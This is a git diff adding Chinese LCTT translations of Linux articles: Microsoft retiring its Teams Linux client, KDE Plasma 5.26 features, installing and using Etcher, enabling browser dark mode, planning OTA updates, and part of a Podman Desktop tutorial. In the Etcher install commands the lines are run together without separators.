应用程序,取而代之的是渐进式Web应用程序][1] + +**微软爱 Linux ...** 💔 + +如果你还记得微软的这个营销套路,那么在阅读这条新闻时,你就知道这并不完全正确。 + +早在 2019 年,微软就为 Teams 推出了 Linux 应用的公共预览版。现在,在其存在的三年后,他们决定在 2022 年 12 月退役其 Linux 客户端。 + +在发表这篇文章的时候,没有任何官方公告来宣布这一消息。这个消息有可能是一个使用微软 Teams 的管理员发现的,它可能是内部管理员的通知之一(据 [Hacker News][2])。 + +该通知提到: + +> 我们将在 90 天内(12 月初)退役 Linux 上的微软 Teams 桌面客户端,该客户端目前以公共预览提供。所有使用微软 Teams Linux 桌面客户端的用户将不得不过渡到网页(PWA)版本,这是我们将继续投入开发资源的地方。我们会帮助所有目前在 Linux 上的客户开始使用 PWA 应用;一旦我们接近发布这一功能,我们将发布相应的指导。 + +### 渐进式网页应用(PWA)将取代 Linux 应用程序 + +![微软 Teams Linux 应用程序][3] + +微软表示,再过段时间,他们将在 Linux 上提供一个 Teams 渐进式网页应用程序(PWA)。 + +这个 PWA 将支持背景模糊、自定义背景、反应和其他一些类似桌面应用的功能。因此,对于一些用户来说,这是一个好消息。 + +目前还不清楚 PWA 将在何时推出,因为他们只提到你可以在未来几个月内期待它。 + +**不幸的是**,Mozilla Firefox(Linux 的最佳浏览器之一)不提供对 PWA 的支持。 + +因此,根据官方信息,你可以在 [Edge][4] 和 [Linux 上的 Chrome 浏览器][5]上运行 PWA : + +> 我们听到你说希望在 Linux 上获得微软 Teams 的全部丰富功能,如背景效果、反应、画廊视图等。我们发现对此采取行动的最佳方式是在 Linux 上提供一个 Teams 渐进式网页应用(PWA),以作为我们当前网页客户端的一个新功能,我们将在未来几个月向我们的 Linux 客户提供。 +> +> PWA 使我们能够更快地将最新的 Teams 功能提供给我们的 Linux 客户,并帮助我们弥补 Linux 和 Windows 上 Teams 桌面客户端之间存在的差距。PWA 体验将在 Linux 上的 Edge 和 Chrome 浏览器上提供。 + +### 你现在能做什么? + +老实说,Linux 上的微软 Teams 应用的体验并不是很好。 + +因此,你应该开始使用网页应用,或者等待 PWA。当然,如果你使用 PWA 的话,你可能不习惯使用微软 Edge 或 Chrome 浏览器。但是,没办法。 + +你也可以尝试一些非官方的 Linux 客户端,但我不确定那会有多好用。 + +*你对微软退役其官方 Linux 应用而偏爱 PWA 或网页版有何看法?在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/microsoft-linux-app-retire/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/ms-dropping-teams-for-linux.png +[2]: https://news.ycombinator.com/item?id=32678839 +[3]: https://news.itsfoss.com/content/images/2022/09/teams-linux.jpg +[4]: https://itsfoss.com/microsoft-edge-linux/ +[5]: https://itsfoss.com/install-chrome-ubuntu/ diff --git a/published/202209/20220903 8 Exciting New Features in the Upcoming KDE 5.26 Release.md b/published/202209/20220903 8 Exciting New Features in the Upcoming KDE 5.26 Release.md new file mode 100644 index 0000000000..377b270524 --- /dev/null +++ b/published/202209/20220903 8 Exciting New Features in the Upcoming KDE 5.26 Release.md @@ -0,0 +1,176 @@ +[#]: subject: "8 Exciting New Features in the Upcoming KDE 5.26 Release" +[#]: via: "https://news.itsfoss.com/KDE-plasma-5-26-features/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14998-1.html" + +即将发布的 KDE 5.26 版本中的 8 个令人感兴趣的新功能 +====== + +> KDE Plasma 5.26 是一个令人兴奋的即将发布的更新版本,添加了大量有用的功能。 + +![](https://img.linux.net.cn/data/attachment/album/202209/04/115636wku1fkkl5zf5f5le.jpg) + +在过去的五个月里,流行的桌面环境 KDE Plasma 做了一些重大的更新和大量的修复。 + +上一个版本 Plasma 5.25 已经有了许多新的功能和改进,特别是对用户界面和体验的改进,而下一个版本听起来更令人兴奋。 + +### KDE Plasma 5.26 有什么新功能? + +让我们来抢先了解一下 KDE Plasma 5.26 的一些新功能。 + +> KDE Plasma 5.26 计划于 2022 年 10 月 6 日发布。 + +#### 1、用户界面的改进 + +如同上一个版本,Plasma 5.26 也对用户界面的互动方式做了许多改进。你会发现一些细微的变化,以及对在 KDE Plasma 5.26 上互动/搜索东西做了调整,**给用户更多信息**。 + +例如,格式Format语言 Language 的设置页面现在已经合并了,可以给你一个更干净的外观,并摆脱了一些与之相关的常见错误。 + +Han Young 为 [这两个页面的合并][4] 做了大量工作。 + +因此,你可以很容易地设置默认格式,以及对 [你的地址、姓名风格、电话号码][5] 等进行设置。 + +![KDE Plasma 5.26][6] + +另一个例子包括,如果你在系统设置的 “自动启动Autostart” 窗口的 “登录脚本Login Scripts” 部分添加一个 Shell 脚本,而该脚本没有被标记为可执行,就会显示一个警告。此外,它还包括一个按钮,单击即可设置为可执行。 + +感谢 Nicolas Fella 的这个 [贡献][7] + +![][8] + +以及,任务切换效果 “覆盖Cover” 和“翻转Flip>” 使用了 Plasma 对话框作为背景。 + +在概览效果中使用的同样的 UI 组件现在也替代应用了,给人一种更一致的外观。这也包括统一的背景和模糊的效果。 + +感谢 Ismael Asensio 的这一 [补充][9] + +![][10] + +更多的 UI 改进包括: + +* 打磨 KDE 应用程序以获得更干净的用户体验。 +* 调整系统设置,使其看起来更干净。 +* 对配置文件夹与 Samba 共享进行了改进。 +* 完善 Dolphin 文件管理器的用户界面。 + +#### 2、Dolphin 的新选择模式 + +尤其是那些使用触摸屏的用户,现在可以通过在文件夹或文件上执行长按来轻松选择或取消选择项目,就像在智能手机上一样。如果你使用的是鼠标和键盘,按空格键将进入或退出这个可选模式。 + +此外,也将显示带有一系列选项的上下文菜单,就像右键菜单一样。 + +感谢 Felix Ernst 的这个很酷的 [新增功能][11]。 + +![][12] + +#### 3、“开始”的新紧凑模式 + +Plasma 的本地应用程序启动器“开始Kickoff”,现在支持一种新的模式,叫做“紧凑Compact”视图。 + +顾名思义,内容被缩小了,以便更多的项目可以被看到。请注意,这个设置对使用触摸模式的用户来说并不理想,因此被禁用。 + +这个有用的 [新增功能][13] 来自于 Nate Graham 的出色工作。 + +![][14] + +#### 4、不再模糊的 XWayland 应用程序 + +使用 HiDPI 屏幕的 Wayland 用户面临着许多与应用程序的缩放有关的问题。为了解决这个问题,用户可以为他们的 XWayland 应用程序选择两种缩放方式。 + +一种方法是允许使用合成器进行统一缩放,这可能会导致轻微的模糊。 + +另一种是允许应用程序自己缩放。请注意,支持预置的 X11 HiDPI 的应用程序只能通过这种设置进行改善。 + +甚至在每个选项上都添加了一个帮助图标,详细说明了该选项的作用,因此用户可以得到更清晰的理解。 + +感谢 David Edmundson 和 Aleix Pol Gonzales 添加的缩放功能和 Nate Graham 的 [帮助工具提示][15]。 + +![][16] + +#### 5、支持更多的硬件和固件数据 + +系统设置中的 “关于本系统About This System”页面已经更新,以支持更新的硬件和固件。苹果 Mac/Macbook 用户会很高兴地知道,对苹果 M1 的支持也包括在内。 + +感谢 James Calligeros 提供的这一 [补充][17]。 + +![][18] + +#### 6、对“发现”的增强 + +KDE 的旗舰应用商店 发现Discover 已经得到了一些有用的补充,应该可以帮助用户在选择软件时避免混淆。 + +例如,如果正在应用页面上浏览的是测试版,“发现” 将显示一个信息框。此外,如果测试版频道已经过时或比稳定版频道更老,也会显示一个警告。 + +![][19] + +如果该软件是一个插件,“来自Distributed by”标签将不再显示项目的源码不可点击的 URL,而是显示“KDE 商店”。 + +此外,用户终于可以为任何软件更新设置相应的通知频率了。 + +这些增强来自于 Aleix Pol Gonzalez 的出色工作。 + +#### 7、可重新绑定的鼠标按钮 + +![鼠标附加按钮配置][20] + +如果你使用的鼠标有附加按钮,你可以把这些按钮分配给按键或键盘快捷键。 + +这是由 David Rdondo 实现的,这是 KDE Plasma 5.26 的一个相当好的功能。 + +#### 8、从文件搜索启动可执行文件 + +在 KDE Plasma 5.26 中,当你试图打开一个通过文件搜索找到的可执行文件时,你会得到一个提示: + +你可以选择执行该文件或打开它。我认为这是一个相当有用的补充。 + +#### 🛠️ 其他功能和改进措施 + +除了上面列出的关键亮点外,还有大量的其他新增功能和错误修复。 + +一些值得注意的更多改进包括: + +* 能够在主日历下同时设置和跟踪两个不同的日历。 +* Elisa 播放器有了全屏模式。 +* 可调整的面板小部件弹窗。 +* 无需应用,一键预览桌面壁纸。 +* 壁纸根据使用的浅色或深色方案自动调整图像。 +* 可以禁用 Wayland 会话的鼠标中键点击粘贴。 +* 使用 “备用Alternate” 面板在小部件之间切换时,会保存旧小部件的设置。 + +💬 *你对 KDE Plasma 5.26 的变化感到兴奋吗?请在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/KDE-plasma-5-26-features/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/09/kde-5-26-release.png +[4]: https://invent.KDE.org/plasma/plasma-workspace/-/merge_requests/1147 +[5]: https://bugs.KDE.org/show_bug.cgi?id=430801 +[6]: https://news.itsfoss.com/content/images/2022/08/more-things-to-configure.webp +[7]: https://invent.KDE.org/plasma/plasma-workspace/-/merge_requests/878 +[8]: https://news.itsfoss.com/content/images/2022/08/needs-to-be-executable.webp +[9]: https://invent.KDE.org/plasma/KDEplasma-addons/-/merge_requests/168 +[10]: https://news.itsfoss.com/content/images/2022/08/switchui.webp +[11]: https://bugs.KDE.org/show_bug.cgi?id=427202 +[12]: https://news.itsfoss.com/content/images/2022/08/selection-mode-in-dolphin.jpeg +[13]: https://invent.KDE.org/plasma/plasma-desktop/-/merge_requests/699 +[14]: https://news.itsfoss.com/content/images/2022/08/compact_mode.png +[15]: https://invent.KDE.org/plasma/kscreen/-/merge_requests/108 +[16]: https://news.itsfoss.com/content/images/2022/08/kscreen-kcm-help-in-a-tooltip.webp +[17]: https://invent.KDE.org/plasma/kinfocenter/-/merge_requests/104 +[18]: https://news.itsfoss.com/content/images/2022/08/m1-in-about.webp +[19]: https://news.itsfoss.com/content/images/2022/08/bender-old-beta.jpeg +[20]: https://news.itsfoss.com/content/images/2022/09/kde-plasma-5-26-mouse-buttons.png \ No newline at end of file diff --git a/published/202209/20220904 Create Bootable USB Using Etcher in Linux – Download and Usage Guide.md b/published/202209/20220904 Create Bootable USB Using Etcher in Linux – Download and Usage Guide.md new file mode 100644 index 0000000000..9766f5e3e3 --- /dev/null +++ b/published/202209/20220904 Create Bootable USB Using Etcher in Linux – Download and Usage Guide.md @@ -0,0 +1,134 @@ +[#]: subject: "Create Bootable USB Using Etcher in Linux – Download and Usage Guide" +[#]: via: "https://www.debugpoint.com/etcher-bootable-usb-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15020-1.html" + +在 Linux 中使用 Etcher 创建可启动 USB – 下载和使用指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/11/122946lmd8zzppbrzjcc6d.jpg) + +> 关于如何在 Ubuntu 和其他 Linux 中使用 Etcher 工具创建可引导 USB 的快速简单教程。 + +[Etcher][1] 是由 [Balena][2] 创建的实用程序,它可以使用 .iso 文件创建可启动的 USB 和 SD 卡,其独特的方式让你的生活变得轻松。在本指南中,我将向你展示下载和安装 Etcher 的步骤。 + +虽然对某些人来说有点过于简单,但对其他人来说可能很难。因此才有了本指南。 + +Etcher 主要用于刷写(写入) Linux 操作系统的 .iso 镜像,例如 Ubuntu、[Linux Mint][3] .iso 镜像等。但理想情况下,它也应该适用于任何其他 .iso 文件。 + +还有其他实用程序可用于创建可引导的 USB 驱动器,比如我之前写过 [指南][4] 的 Unetbootin。 + +但话虽如此,在我看来,Etcher **更快、更干净、更好**。它很少失败。成功率很高。 + +在我解释这些步骤之前,快速回顾一下它的功能。 + +### Etcher 的功能 + +* 创建可启动 USB 驱动器的清晰的 3 步过程 +* 自动检测 USB +* 选择文件,选择目标,快速写入 +* 克隆驱动器 +* 选择本地下载的 .iso 文件或直接从 URL 下载 +* 干净而友好的用户界面 +* 跨平台:Linux、Windows 和 macOS +* 内置 JS,electron 应用 +* 适用于 Linux 的独立 AppImage 可执行文件 + +### 安装 Etcher + +Etcher 适用于所有平台。因此,你可以在所有 Linux 发行版、macOS 和 Windows 中使用以下方法轻松安装它。 + +首先,进入以下链接。 + +> **[下载 ETCHER][5]** + +#### 适用于所有 Linux 发行版 + +从上面的链接下载 AppImage 可执行文件。然后通过“右键单击->属性”将权限更改为*可执行*。然后运行文件。 + +有关特定于发行版的软件包,请参阅下文。 + +#### Debian、Ubuntu + +要在 Debian、Ubuntu、Linux Mint 和相关发行版中安装 Etecher,请从终端执行以下命令: + +``` +echo "deb https://deb.etcher.io stable etcher" | sudo tee /etc/apt/sources.list.d/balena-etcher.listsudo apt-key adv --keyserver hkps://keyserver.ubuntu.com:443 --recv-keys 379CE192D401AB61sudo apt-get updatesudo apt-get install balena-etcher-electron +``` + +#### Fedora + +对于 Fedora,请从终端执行以下命令: + +``` +sudo wget https://balena.io/etcher/static/etcher-rpm.repo -O /etc/yum.repos.d/etcher-rpm.reposudo dnf install -y balena-etcher-electron +``` + +#### Arch Linux + +对于 Arch Linux,请确保已安装 yay。然后你可以运行以下命令进行安装: + +``` +yay -S balena-etcher +``` + +### 使用 Etcher 创建可启动 USB + +安装成功后启动应用。第一个窗口显示你需要遵循的 3 个步骤。当然,你需要一个 U 盘和 .iso 文件来写入。 + +#### 步骤 1:选择文件 + +插入目标 USB 或 SD 卡。浏览并选择 .iso 文件。或者,你也可以通过 URL 直接从互联网拉取它。 + +![Step 1 - Select the file][6] + +#### 步骤 2:选择目标设备 + +单击“选择目标Select Target”,并仔细选择你的 USB 或 SD 卡。 Etcher 非常友好,可以通知你哪个设备是你的系统设备,这样你就不会最终破坏数据。 + +通过单击复选框进行选择。并单击“选择Select”。 + +![Step 2 - Select Target device][7] + +#### 步骤 3:点击刷写开始创建可启动 USB 或 SD 卡 + +![Step 3 - Start the process][8] + +等到该过程完成。 + +![Process is complete][9] + +就是这样。你可以安全地取出 USB 或 SD 卡以供使用。 + +### 结束语 + +虽然创建可引导 USB 的方法有很多,例如你可以使用 Unetbootin、MKUSB,甚至使用 Ubuntu 的默认磁盘程序,但 Etcher 可以更轻松地完成此操作。其 UI 设计只需 3 个步骤,非常适合需要可靠性的新用户和高级用户。 + +可启动 USB 是一项重要资产,你应该使用出色的程序来准备它。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/etcher-bootable-usb-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.balena.io/etcher/ +[2]: https://www.balena.io/ +[3]: https://www.debugpoint.com/linux-mint/ +[4]: https://www.debugpoint.com/2015/05/how-to-create-a-bootable-usb-drive-in-ubuntu/ +[5]: https://github.com/balena-io/etcher/releases +[6]: https://www.debugpoint.com/wp-content/uploads/2021/01/Step1-Select-the-file.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2021/01/Step-2-Select-Target-device.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2021/01/Step-3-Start-the-process.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2021/01/Process-is-complete.jpg diff --git a/published/202209/20220904 How to Enable Dark Mode in Web Browser.md b/published/202209/20220904 How to Enable Dark Mode in Web Browser.md new file mode 100644 index 0000000000..ff1ef1a55a --- /dev/null +++ b/published/202209/20220904 How to Enable Dark Mode in Web Browser.md @@ -0,0 +1,98 @@ +[#]: subject: "How to Enable Dark Mode in Web Browser" +[#]: via: "https://www.debugpoint.com/dark-mode-browser/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15035-1.html" + +如何在浏览器中启用深色模式 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/15/232124u1ikykxri6oehx0h.jpg) + +> 本指南旨在帮助你了解如何在流行的浏览器,如 Firefox、谷歌 Chrome、Chromium 和微软 Edge 中启用深色模式。 + +我们都喜欢深色模式。许多人喜欢它,而不是标准的浅色模式。虽然许多桌面应用提供了原生的深色模式,但一些应用通过桌面环境的基础模式适应深色模式。 + +你不能否认,我们都在浏览器上花了好多时间。我们很少使用桌面应用(除非你是在工作,如视频编辑等)。因此,当你在浏览器上花很多时间阅读和学习时,你应该也可以选择深色模式。但是,对于各个浏览器,稍微有点不同。 + +本指南为你提供简单的步骤,你可以按照这些步骤在 Mozilla Firefox、Chromium、Chrome 和 Edge 浏览器中启用深色模式。 + +### 在浏览器中启用深色模式 + +#### 在 Firefox 中启用深色模式 + +打开 Firefox ,点击右上角的设置菜单。 + +点击 “设置Settings > 扩展和主题Extension and Themes”。 + +选择“深色主题Dark Theme”并点击“启用enable”。然后你应该看到深色模式被应用到 Firefox。 + +![Enable dark mode in Firefox][1] + +![Firefox in Dark Mode][2] + +要恢复它,按照同样的步骤,选择浅色主题。 + +#### Chromium 和 Chrome 的深色模式 + +Chromium 或 Chrome 默认不预装任何深色主题。因此,你需要去 Chrome 商店,下载任何你想要的深色主题。在本指南中,我将推荐 “Morpheon Dark” 主题,它有超过一百万用户在使用它。 + +从 Chromium 浏览器中打开 Morpheon Dark 主题页面(从以下链接)。 + +> **[Chrome 网络商店中的 Morpheon Dark 主题][3]** + +点击“添加到 ChromeAdd To Chrome” 按钮。它应该会在 Chrome 中启用。 + +你可能想探索 Chrome 网络商店中的其他黑白或深色主题。[请访问此页面,查看所有的深色主题集合][4] 。 + +然而,你应该记住一件事:这个主题不会改变设置或上下文菜单。这很明显。因为它只是改变了浏览器窗口,而那些菜单是操作系统本身的一部分(有时)。 + +![Chromium Dark Theme][5] + +对 Google Chrome 也要按照同样的步骤进行。 + +#### Edge 浏览器的深色模式 + +然而,[微软 Edge 浏览器][6] 默认带有更好的深色主题。它允许你从设置中使用 GTK+、浅色和深色模式。 + +打开 Edge 浏览器 + +点击右上角的三个小圆点。 + +进入“外观Appearance”,选择“深色Dark”。这就完成了。 + +这个 Edge 的深色主题实现得更好,因为它改变了上下文菜单和地址栏。 + +![Edge in Dark Theme][7] + +### 结束语 + +如果你是一个高级用户,你可能不需要这个指南。你可以搞清楚。 + +但我们为所有的读者涵盖了所有从基础到高级的教程。许多新的 Linux 用户可能也不知道如何在浏览器中启用深色模式。 + +因此,话虽如此,我希望这能帮助你和其他人。如果你遇到任何麻烦,请在下面的评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/dark-mode-browser/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/10/Enable-dark-mode-in-Firefox.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/10/Firefox-in-Dark-Mode-1024x423.jpg +[3]: https://chrome.google.com/webstore/detail/morpheon-dark/mafbdhjdkjnoafhfelkjpchpaepjknad?hl=en-GB +[4]: https://chrome.google.com/webstore/category/collection/dark_themes +[5]: https://www.debugpoint.com/wp-content/uploads/2021/10/Chromium-Dark-Theme-1024x463.jpg +[6]: https://www.debugpoint.com/2020/10/how-to-install-edge-ubuntu-linux/ +[7]: https://www.debugpoint.com/wp-content/uploads/2021/10/Edge-in-Dark-Theme-1024x541.jpg \ No newline at end of file diff --git a/published/202209/20220905 3 things to know about planning for OTA updates in your homelab.md b/published/202209/20220905 3 things to know about planning for OTA updates in your homelab.md new file mode 100644 index 0000000000..1f2ab7fcad --- /dev/null +++ b/published/202209/20220905 3 things to know about planning for OTA updates in your homelab.md @@ -0,0 +1,64 @@ +[#]: subject: "3 things to know about planning for OTA updates in your homelab" +[#]: via: "https://opensource.com/article/22/9/plan-ota-updates-edge" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15045-1.html" + +规划 OTA 更新需要了解的 3 件事 +====== + +> 在开始编写应用之前,为手机、物联网设备和边缘计算定义无线更新计划。 + +过去对系统的更新相对简单。当开发人员需要修改他们已经分发给公众的东西时,会发布一个更新程序供人们运行。用户将运行更新程序,允许用新文件替换旧文件并添加新文件。然而,即使有了这些“相对简单”的更新,也有一个问题。当用户安装好的系统处于意外状态时会发生什么?升级中断时会发生什么?当各种设备都在线时,这些问题同样重要,有时需要重要的安全更新。今天的许多更新都是通过无线、空中下载技术over-the-air(OTA)的方式提供的,连接不良、信号突然丢失或断电的可能性可能会对应该是次要更新的内容造成灾难性的影响。这些是你在计划提供 OTA 更新时需要考虑的三大策略。 + +### 1、验证 + +TCP 协议内置了很多验证功能,因此当你 [向设备发送数据包][2] 时,通常可以确信每个数据包都已完好无损地收到。但是,TCP 无法报告它不知道的错误,因此由你来验证以下内容: + +* 你是否已发送更新所需的所有文件?设备无法接收没有发送的内容。 +* 收到的文件和你发送的文件一样吗?至少,检查 SHA 和以验证文件完整性。 +* 如果可能,请使用 [数字签名][3] 确保文件来自受信任的来源。 +* 在允许更新开始之前,你必须验证设备能够应用更新。在提交更新之前检查权限和电池状态,并确保你的更新过程覆盖任何意外的用户事件,例如计划的重新启动或休眠。 +* 最后,你必须验证声称已成功完成的更新是否已实际完成。在将更新正式标记为系统已完成之前,请检查目标设备上的文件位置和完整性。 + +### 2、回退和故障状态 + +更新的最坏情况是设备处于损坏状态,以至于它甚至不能继续被中止的更新。在这种情况下,更新程序文件存在于目标设备上,但该过程已被中断。这可能会使设备处于未知状态,其中一些文件已被更新版本替换,而其他文件尚未被替换。在最坏的情况下,已更新的文件与尚未更新的文件不兼容,因此设备无法按预期运行。 + +有一些策略可以解决这个问题。初始更新步骤可能是安装专用于完成更新的特殊引导镜像或环境,并在系统上设置“标志”以确认更新正在进行中。这样可以确保即使设备在更新过程中突然断电,更新过程也会在下次启动时重新启动。仅在验证更新后才删除表示更新成功的标志。 + +根据目标设备的安全策略和你要更新的内容,特殊的引导镜像可能不可行或不需要。不过,原理还是一样的。当启动后,更新必须建立一个环境,在这个环境中,待处理的更新是解决问题之前的唯一途径 + +但是,在更新被授予启动权限之前,用户(如果有的话)应该能够延迟或忽略更新。 + +### 3、附加更新 + +在许多边缘和物联网设备中,目标设备的底层是不可变的。更新只会添加到系统的已知状态。 [Fedora Silverblue][4] 之类的项目正在证明这种模式可以在许多领域发挥作用,因此这种奢侈的做法可能会变得司空见惯。不过,在那之前,成功应用更新的一部分是了解你将要影响的环境。 + +不过,你不需要不可变的核心来应用附加更新。你可以构建一个使用相同概念的系统,将更新作为添加库或包的一种方式,而无需修改旧版本。作为此类更新的最后一步,具有更新路径的可执行文件是你所做的唯一实际修订。 + +### OTA 更新 + +世界越来越无线化。对于手机、物联网设备和 [边缘计算][5],OTA 更新通常是唯一的选择。实施 OTA 更新策略需要仔细规划并仔细考虑不可能的情况。你最了解你的目标设备,因此请在开始编码之前规划好你的更新架构。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/plan-ota-updates-edge + +作者:[Alan Smithee][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/computer_code_programming_laptop.jpg +[2]: https://www.redhat.com/sysadmin/beginners-guide-network-troubleshooting-linux +[3]: https://www.redhat.com/sysadmin/digital-signatures-gnupg +[4]: https://silverblue.fedoraproject.org +[5]: https://www.redhat.com/en/topics/edge-computing/what-is-edge-computing?intcmp=7013a000002qLH8AAM diff --git a/published/202209/20220905 Manage containers on Fedora Linux with Podman Desktop.md b/published/202209/20220905 Manage containers on Fedora Linux with Podman Desktop.md new file mode 100644 index 0000000000..ef5f1f7b75 --- /dev/null +++ b/published/202209/20220905 Manage containers on Fedora Linux with Podman Desktop.md @@ -0,0 +1,143 @@ +[#]: subject: "Manage containers on Fedora Linux with Podman Desktop" +[#]: via: "https://fedoramagazine.org/manage-containers-on-fedora-linux-with-podman-desktop/" +[#]: author: "Mehdi Haghgoo https://fedoramagazine.org/author/powergame/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15058-1.html" + +使用 Podman Desktop 在 Fedora Linux 上管理容器 +====== + +![][1] + +> Podman Desktop 是一个开源 GUI 应用,用于在 Linux、macOS 和 Windows 上管理容器。 + +从历史上看,开发人员一直使用 Docker Desktop 对容器进行图形化管理。这适用于那些安装了 Docker Daemon 和 Docker CLI 的人。然而,对于那些使用无守护进程的 Podman 工具的人来说,虽然有一些 Podman 前端,如 [Pods][2]、[Podman desktop companion][3] 和 [Cockpit][4],但没有官方应用。现在不是这种情况了。有了 Podman Desktop! + +本文将讨论由红帽和其他开源贡献者开发的 Podman Desktop 的特性、安装和使用。 + +### 安装 + +要在 Fedora Linux 上安装 Podman Desktop,请访问 [podman-desktop.io][5],然后单击 “Download for Linux” 按钮。你将看到两个选项:Flatpak 和 zip。在这个例子中,我们使用的是 Flatpak。单击 “Flatpak” 链接后,通过双击文件在 GNOME 软件中打开它(如果你使用的是 GNOME)。你也可以通过终端安装它: + +``` +flatpak install podman-desktop-X.X.X.flatpak +``` + +在上面的命令中,将 X.X.X 替换为你下载的特定版本。如果你下载了 zip 文件,那么解压缩存档,然后启动 Podman Desktop 应用的二进制文件。你还可以通过进入 GitHub 上项目的 [发布][6] 页找到预发布版本。 + +### 特性 + +Podman Desktop 仍处于早期阶段。然而,它支持许多常见的容器操作,如创建容器镜像、运行容器等。此外,你可以在 “首选项Preferences” 的 “扩展Extensions” 部分下找到 Podman 扩展,你可以使用它来管理 macOS 和 Windows 上的 Podman 虚拟机。 + +此外,Podman Desktop 支持 Docker Desktop 扩展。你可以在 “首选项Preferences” 下的 “Docker Desktop Extensions” 安装此类扩展。应用窗口有两个窗格。左侧窄窗格显示应用的不同功能,右侧窗格是内容区域,它将根据左侧选择的内容显示相关信息。 + +![Podman Desktop 0.0.6 在 Fedora 36 上运行][7] + +### 演示 + +为了全面了解 Podman Desktop 的功能,我们将从 Dockerfile 创建一个镜像并将其推送到注册中心,然后拉取并运行它,这一切都在 Podman Desktop 中完成。 + +#### 构建镜像 + +第一步是通过在命令行中输入以下行来创建一个简单的 Dockerfile: + +``` +cat <>Dockerfile +FROM docker.io/library/httpd:2.4 +COPY . /var/www/html +WORKDIR /var/www/html + +CMD ["httpd", "-D", "FOREGROUND"] +EOF +``` + +现在,点击 “镜像Images” 并按下 “构建镜像Build Image” 按钮。你将被带到一个新页面以指定 Dockerfile、构建上下文和镜像名称。在 Containerfile 路径下,单击并浏览以选择你的 Dockerfile。在镜像名称下,输入镜像的名称。如果要将镜像推送到容器注册中心,那么可以以 `example.com/username/repo:tag` 形式指定完全限定的镜像名称(FQIN)。在此示例中,我输入 `quay.io/codezombie/demo-httpd:latest`,因为我在 `quay.io` 上有一个名为 `demo-httpd` 的公共仓库。你可以按照类似的格式来指定容器注册中心(Quay、Docker Hub、GitHub Container Registry 等)的 FQIN。现在,按下 “构建Build” 按钮并等待构建完成。 + +#### 推送镜像 + +构建完成后,就该推送镜像了。所以,我们需要在 Podman Desktop 中配置一个注册中心。进入 “首选项Preferences” -> “注册中心Registries” 并按下 “添加注册中心Add registry” 按钮。 + +![添加注册中心对话框][8] + +在 “添加注册中心Add registry” 对话框中,输入你的注册中心服务器地址和用户凭据,然后单击 “添加注册中心Add registry”。 + +现在,回到镜像列表中我的镜像,并按下上传图标将其推送到仓库。当你将鼠标悬停在设置中添加的注册中心名称开头的镜像名称上时(此演示中的 `quay.io`),镜像名称旁边会出现一个推送按钮。 + +![将鼠标悬停在镜像名称上时出现的按钮][9] + +![镜像通过 Podman Desktop 推送到仓库][10] + +镜像被推送后,任何有权访问镜像仓库的人都可以拉取它。由于我的镜像仓库是公开的,因此你可以轻松地将其拉入 Podman Desktop。 + +#### 拉取镜像 + +因此,为确保一切正常,请在本地删除此镜像并将其拉入 Podman Desktop。在列表中找到镜像并按删除图标将其删除。删除镜像后,单击 “拉取镜像Pull Image” 按钮。在 “要拉取的镜像Image to Pull” 输入完全限定名称,然后按 “拉取镜像Pull Image”。 + +![Our container image is successfully pulled][11] + 